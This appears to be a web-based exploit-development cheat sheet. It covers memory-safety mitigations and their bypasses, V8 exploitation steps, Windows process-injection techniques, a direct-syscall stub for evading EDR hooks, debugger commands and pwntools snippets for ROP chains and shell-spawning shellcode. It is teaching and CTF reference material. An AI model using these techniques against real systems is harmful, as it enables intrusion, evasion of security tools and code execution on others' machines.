SMEP/SMAPKernel executing/reading user pagesIntel Ivy BridgeKernel ROP, map userspace in kernel
KASLRKernel base addressWin 8 / Linux 3.14Kernel info leak, side channels
Safe UnlinkingHeap metadata corruptionglibc / WindowsChunk overlap, tcache (less checks)
LFH RandomizationHeap determinismWin 8+Large sprays, probabilistic approaches

ASLR Entropy by Platform

ComponentWindows x64Linux x64Notes
Image base17-19 bits28 bits (PIE)Linux has higher entropy
Heap17 bits28 bitsPer-allocation randomization varies
Stack17 bits22 bitsAdditional sub-page randomization
mmap/DLLs17-19 bits28 bitsShared library positions
Kernel (KASLR)24 bits9 bits (varies)Kernel base randomization

Stack Canary Deep Dive

// How stack canaries work (/GS on MSVC, -fstack-protector on GCC):
//
// Function prologue:
//   mov rax, QWORD PTR fs:[0x28]  ; Load canary (Linux, from TLS)
//   mov QWORD PTR [rbp-8], rax    ; Place on stack before saved RBP
//
// Function epilogue:
//   mov rax, QWORD PTR [rbp-8]    ; Read canary from stack
//   xor rax, QWORD PTR fs:[0x28]  ; Compare with reference
//   jne __stack_chk_fail           ; If different β†’ abort!
//
// Stack layout with canary:
//   [buffer][canary][saved RBP][return address]
//           ↑ Must survive to overwrite return address
//
// Windows /GS canary: 
//   __security_cookie XOR'd with RBP, checked with __security_check_cookie
//   Cookie in .data section, randomized at process start

Mitigation Bypasses

Defeating modern defenses

ASLR Bypass Techniques

TechniqueHowRequirements
Information leakLeak a pointer from stack/heap, calculate baseRead primitive (format string, OOB read)
Partial overwriteOverwrite only low 1-2 bytes of address (not randomized)Limited write, same page/region
Brute force (32-bit)Only ~256-65536 possibilities for 32-bit ASLRProcess restarts without re-randomization
Non-ASLR moduleFind DLL compiled without /DYNAMICBASELegacy module loaded in process
Side channelCache timing, prefetch, TSX to deduce layoutSame physical machine, timing precision
JIT sprayJIT engine embeds constants as executable bytesAbility to trigger JIT compilation

DEP/NX Bypass: Code Reuse

TechniqueDescriptionCountered By
ROPChain gadgets ending in RETCET Shadow Stack, CFI
JOPChain gadgets ending in indirect JMPCFG, CET IBT
COP (Call-Oriented)Chain gadgets ending in CALLCFG
COOPAbuse C++ virtual calls (counterfeit objects)Strict CFI, type checking
Ret2libcCall system()/exec() directlyASLR (need leak)
Ret2dlresolveAbuse lazy binding to resolve any functionFull RELRO
JIT sprayControl JIT-compiled code with constantsACG, constant blinding
VirtualProtect/mprotectROP to make memory executableACG (blocks RWX)

Control Flow Guard (CFG) Bypass

// CFG validates indirect call targets against a bitmap
// Only addresses marked as valid call targets are allowed
//
// Bypass strategies:
//
// 1. Use valid CFG targets as gadgets
//    - Many valid targets exist (any function start)
//    - Find useful targets: VirtualProtect, SetProcessValidCallTargets
//
// 2. Corrupt CFG bitmap directly
//    - Mark your shellcode address as valid
//    - Requires arbitrary write to bitmap region
//
// 3. Return address overwrite (CFG doesn't protect returns!)
//    - CFG only checks indirect CALL/JMP targets
//    - Classic ROP still works against CFG alone
//    - Need CET/Shadow Stack to protect returns
//
// 4. Abuse non-CFG modules
//    - JIT regions, dynamically loaded code
//    - Modules compiled without CFG support

CET (Control-flow Enforcement Technology) Bypass

// CET has two components:
// 1. Shadow Stack (SS): Hardware-backed return address verification
//    - CALL pushes to both regular stack and shadow stack
//    - RET compares both stacks, #CP fault on mismatch
//
// 2. Indirect Branch Tracking (IBT):
//    - Indirect JMP/CALL must land on ENDBR64 instruction
//    - Limits gadget availability
//
// Current research directions:
// - Forward-edge attacks (CET SS doesn't protect forward edges)
// - COOP-style attacks using only valid ENDBR targets
// - Data-only attacks (no control flow hijack needed)
// - JIT code may not have ENDBR markers
// - Exception handler manipulation
// - Signal handler abuse (sigreturn-oriented programming)

Browser & JIT Exploitation

JavaScript engine bugs and sandbox escapes

Browser Exploit Chain

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ Renderer β”‚ β”‚ Sandbox β”‚ β”‚ Kernel β”‚ β”‚ Full β”‚ β”‚ Compromise │───▢│ Escape │───▢│ Exploit │───▢│ System β”‚ β”‚ (JS engine) β”‚ β”‚ (IPC/Mojo) β”‚ β”‚ (LPE) β”‚ β”‚ Control β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ V8/JSC bug Chrome IPC bug Win32k/driver SYSTEM/root Type confusion Mojo interface Pool overflow Code exec JIT bug Site isolation Race condition OOB R/W bypass

JavaScript Engine Bug Classes

Bug ClassEngine AreaExploitation Impact
JIT type confusionOptimizing compilerOOB R/W via incorrect type assumptions
JIT bounds check eliminationOptimization passesArray OOB access
Incorrect side-effect modelingJIT IRRedundancy elimination β†’ stale values
GC (Garbage Collection) UAFMemory managerDangling object references
Prototype pollutionObject modelType confusion via prototype chain
ArrayBuffer neuteringTyped arraysUAF on backing store
RegExp exploitationRegExp engineStack/heap corruption in regex

V8 Exploitation Pattern

// Typical V8 exploit flow:
//
// 1. Trigger JIT bug to get OOB read/write on a TypedArray or Array
//    - Corrupt array length or backing store pointer
//
// 2. Build addrOf/fakeObj primitives:
//    addrOf(obj) β†’ leak address of any JS object
//    fakeObj(addr) β†’ create JS object reference to arbitrary address
//
// 3. Create arbitrary R/W:
//    - Fake an ArrayBuffer with controlled backing store pointer
//    - Read/write anywhere in process memory
//
// 4. Overwrite WASM RWX page (if available) with shellcode
//    - V8 allocates RWX memory for WASM
//    - Or: overwrite JIT code
//    - Or: corrupt function pointers
//
// 5. Execute shellcode β†’ renderer compromise
//    - Still in sandbox! Need escape for full compromise

// V8 pointer compression (v8.0+): 
// Pointers are 32-bit offsets from a 4GB-aligned base
// Complicates fake object creation (limited address range)

Windows Specifics

Windows-specific exploitation techniques and structures

Windows Exploitation Targets

TargetUseMitigated By
PEB/TEBLocate heaps, modules, parametersASLR (PEB/TEB location randomized)
Import Address Table (IAT)Overwrite function pointersCFG, IAT guard
Virtual Function Table (vtable)Hijack C++ virtual callsCFG, CET IBT
_EXCEPTION_REGISTRATIONSEH overwrite (x86)SafeSEH, SEHOP
CRT function pointersatexit handlers, locale funcsEncoded pointers (EncodePointer)
Thread pool work itemsQueue code executionRequires info leak
RtlCriticalSectionOverwrite debug info pointerASLR, pointer encoding

Windows Syscalls for Exploit Dev

// Direct syscalls bypass user-mode hooks (EDR, AV)
// Syscall numbers change between Windows versions!

// NtAllocateVirtualMemory - allocate executable memory
mov r10, rcx
mov eax, 0x18     ; Syscall number (varies by version!)
syscall
ret

// Key syscalls for exploitation:
// NtAllocateVirtualMemory  - Allocate memory (alloc RWX region)
// NtProtectVirtualMemory   - Change page protections (DEP bypass)
// NtWriteVirtualMemory     - Write to other process memory
// NtCreateThreadEx         - Create remote thread (injection)
// NtQueueApcThread         - APC injection
// NtMapViewOfSection       - Map shared memory

// Techniques to find syscall numbers dynamically:
// 1. Read ntdll.dll export table, parse Zw* stubs
// 2. Sort by address (syscall numbers are sequential)
// 3. Read from disk to avoid in-memory hooks (SysWhispers approach)

Windows Process Injection Techniques

TechniqueAPI CallsDetection Surface
Classic DLL injectionOpenProcess β†’ VirtualAllocEx β†’ WriteProcessMemory β†’ CreateRemoteThread(LoadLibrary)High - well detected
Process hollowingCreateProcess(SUSPENDED) β†’ NtUnmapViewOfSection β†’ Write β†’ ResumeThreadMedium - unmapping suspicious
APC injectionOpenThread β†’ QueueUserAPC β†’ Alertable wait neededMedium
Atom bombingGlobalAddAtom β†’ QueueUserAPC(NtQueueApcThread) β†’ ROP in targetLower
Module stompingLoad legitimate DLL β†’ overwrite .text sectionLower - backed by clean file
Thread execution hijackSuspendThread β†’ SetThreadContext(RIP) β†’ ResumeThreadMedium
Phantom DLL hollowingMap transaction β†’ modify β†’ rollback file, keep mappedLow

Tools & Workflow

Essential tools for exploit development and analysis

Debuggers

ToolPlatformKey Commands / Features
WinDbgWindows!analyze -v, !exploitable, !heap, TTD, kernel debug
x64dbgWindowsUser-friendly, plugin ecosystem, conditional breakpoints
GDB + GEF/pwndbgLinuxchecksec, heap, vmmap, telescope, rop
LLDBmacOS/LinuxXcode integration, scriptable with Python
rrLinuxRecord & replay debugging (deterministic replay!)

Essential WinDbg Commands for Exploit Dev

// Crash analysis
!analyze -v                // Automated crash analysis
!exploitable               // Classify exploitability
.ecxr                      // Switch to exception context

// Memory inspection
!address -summary          // Memory layout overview
!vprot <addr>              // Page protection flags
dps <addr> L10             // Display pointer-sized values with symbols
!heap -stat                // Heap statistics
!heap -flt s <size>        // Find heap allocations of specific size

// Security features
!checksec                  // Check mitigations (needs extension)
!dh <module>               // Display PE headers (check DYNAMICBASE, NX)

// Exploitation
!teb                       // Thread Environment Block
!peb                       // Process Environment Block
dt nt!_EPROCESS            // Kernel process structure
!token -n                  // Display current token

Exploit Development Frameworks

ToolPurposeKey Features
pwntools (Python)CTF & exploit dev frameworkRemote/local process, ROP builder, shellcraft, format strings
Metasploit FrameworkExploit frameworkPayload generation, encoders, exploit modules
msfvenomPayload generationMulti-format shellcode, encoders, stagers
Cobalt StrikeC2 & post-exploitationBeacon, BOFs, malleable C2
AFL++ / libFuzzerFuzzingCoverage-guided, mutation-based
WinAFLWindows fuzzingDynamoRIO/Intel PT, persistent mode
FridaDynamic instrumentationJS scripting, hook any function, cross-platform

Quick Reference

Essential patterns and values at a glance

x86/x64 Instruction Quick Ref (Exploit-Relevant)

InstructionBytes (x64)Exploit Use
retC3ROP gadget terminator
nop90NOP sled, alignment
int 3CCBreakpoint, detect debugging
syscall0F 05Direct syscall (x64 Linux/Windows)
int 0x80CD 80Linux x86 syscall
jmp rspFF E4Jump to stack (shellcode on stack)
call rspFF D4Call stack address
pop rdi; ret5F C3Set RDI (arg1 on Linux)
pop rsi; ret5E C3Set RSI (arg2 on Linux)
pop rcx; ret59 C3Set RCX (arg1 on Windows)
endbr64F3 0F 1E FACET IBT landing pad

Memory Protection Constants

Windows (VirtualProtect)
ConstantValue
PAGE_NOACCESS0x01
PAGE_READONLY0x02
PAGE_READWRITE0x04
PAGE_EXECUTE0x10
PAGE_EXECUTE_READ0x20
PAGE_EXECUTE_READWRITE0x40
Linux (mprotect)
ConstantValue
PROT_NONE0x0
PROT_READ0x1
PROT_WRITE0x2
PROT_EXEC0x4
PROT_READ|WRITE|EXEC0x7

Common Vulnerability Patterns

PatternCWEWhat to Look For
Stack buffer overflowCWE-121strcpy, gets, sprintf, fixed-size buffer + unbounded input
Heap buffer overflowCWE-122malloc + memcpy with wrong size, off-by-one in loop
Use-after-freeCWE-416Free without nulling pointer, reference counting bugs
Double freeCWE-415Error paths that free twice, complex ownership
Integer overflowCWE-190Size multiplication, addition without overflow check
Type confusionCWE-843Polymorphism, union misuse, incorrect cast
Format stringCWE-134User input as format arg to printf family
Race conditionCWE-362TOCTOU, shared state without locks
Null pointer derefCWE-476Unchecked return values, error paths
Uninitialized memoryCWE-908Stack/heap variables used before init, info leak

pwntools Quick Reference

from pwn import *

# Context setup
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

# Connect to target
p = process('./vuln')          # Local
p = remote('host', 1337)       # Remote

# ELF analysis
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
elf.symbols['main']            # Function address
elf.got['puts']                # GOT entry
elf.plt['puts']                # PLT entry

# ROP chain building
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])  # Leak libc address
rop.call('main')                      # Return to main
print(rop.dump())

# Shellcode
shellcode = asm(shellcraft.sh())     # Linux /bin/sh
shellcode = asm(shellcraft.cat('flag.txt'))

# Packing
p64(addr)                           # Pack 64-bit address
u64(leak.ljust(8, b'\x00'))        # Unpack leaked bytes

# Format string
payload = fmtstr_payload(offset, {target: value})

# Pattern finding
cyclic(200)                       # Generate pattern
cyclic_find(0x61616168)            # Find offset